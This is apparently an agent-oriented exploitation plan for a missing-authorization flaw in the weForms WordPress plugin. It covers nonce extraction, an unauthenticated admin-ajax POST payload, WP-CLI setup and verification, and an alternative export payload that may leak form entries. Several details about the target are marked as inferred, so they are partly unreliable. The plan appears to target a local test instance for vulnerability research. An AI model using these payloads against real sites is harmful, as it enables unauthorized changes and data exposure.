Exploitation Research Plan - CVE-2025-69028 (weForms <= 1.6.25)

1. Vulnerability Summary

The weForms plugin for WordPress is vulnerable to Missing Authorization in its AJAX handling logic. Specifically, certain administrative or state-changing functions are registered via the wp_ajax_nopriv_ hook (allowing unauthenticated access) or wp_ajax_ (allowing any logged-in user) without performing an internal capability check (current_user_can()).

Based on the CVSS score (I:L, C:N), the vulnerability likely allows an unauthenticated attacker to modify a minor plugin state, such as dismissing administrative notices or toggling non-critical settings. A prime candidate for this is the weforms_dismiss_review_notice action.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: weforms_dismiss_review_notice (inferred based on CVSS I:L/C:N)
• Method: POST
• Required Parameter: action=weforms_dismiss_review_notice, _wpnonce
• Authentication: None required (unauthenticated).
• Preconditions: A valid WordPress nonce for the action must be obtained from the frontend.

3. Code Flow

1. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=weforms_dismiss_review_notice.
2. WordPress triggers the hook wp_ajax_nopriv_weforms_dismiss_review_notice.
3. The handler function dismiss_review_notice (likely located in includes/class-ajax.php or includes/admin/class-review-notice.php) is executed.
4. The function verifies the nonce using check_ajax_referer or wp_verify_nonce.
5. Vulnerability: The function fails to call current_user_can( 'manage_options' ) to ensure the requester is an administrator.
6. The function updates the WordPress option (e.g., update_option( 'weforms_review_notice_dismissed', 'yes' )), affecting the site globally.

4. Nonce Acquisition Strategy

The weforms plugin enqueues a frontend script on any page where a form is displayed. This script contains the necessary nonce.

1. Identify Shortcode: The plugin uses the shortcode [weforms id="FORM_ID"].
2. Setup Page: Create a public page containing any weForm.
3. Extraction:
   • Navigate to the page using browser_navigate.
   • The plugin localizes data into a global JavaScript object named weforms (inferred).
   • Use browser_eval to extract the nonce: browser_eval("weforms.nonce").

5. Exploitation Strategy

Step 1: Obtain a valid Nonce

• Create a test form using WP-CLI: wp weforms create --title="Test Form" (Note: use actual weForms CLI if available, or just create manually in the UI).
• Create a page with the shortcode: wp post create --post_type=page --post_status=publish --post_content='[weforms id="123"]' --post_title='Exploit Page'
• Extract nonce via browser_eval:

  // Target the window object variable localized by weForms
  const nonce = window.weforms?.nonce;
  

Step 2: Trigger the Unauthorized Action

Send an unauthenticated POST request to admin-ajax.php.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=weforms_dismiss_review_notice&_wpnonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Plugin Version: Ensure weforms version 1.6.25 is installed.
2. Form Creation: Create at least one form so the shortcode is functional.
3. Notice State: Ensure the weforms_review_notice_dismissed option is either not set or set to no (standard state for a new installation).

7. Expected Results

• HTTP Response: The server should return a 200 OK or wp_send_json_success (usually {"success":true}).
• Integrity Change: The administrative review notice should be permanently dismissed for all administrators, even though the request was made by an unauthenticated user.

8. Verification Steps

After the exploit, use WP-CLI to check the state of the option that tracks the notice dismissal:

wp option get weforms_review_notice_dismissed
# Expected output: 'yes' or '1'

Alternatively, log in as an admin and verify that the review notice (usually a banner asking for a rating) is gone.

9. Alternative Approaches

If weforms_dismiss_review_notice is not the vulnerable action, search for other AJAX handlers in includes/class-ajax.php that lack capability checks:

1. Check for other actions:

   grep -rn "wp_ajax_nopriv" wp-content/plugins/weforms/ | grep "add_action"
   

2. Analyze found handlers: Check if they use current_user_can().
3. Potential Action: weforms_form_export (if configured to be unauthenticated). If this is the target, the CVSS C:N might be an error in the initial report, and the exploit would leak user entry data.
   • Payload: action=weforms_form_export&form_id=[ID]&_wpnonce=[NONCE]
   • Verification: Check if a CSV file is returned in the response body.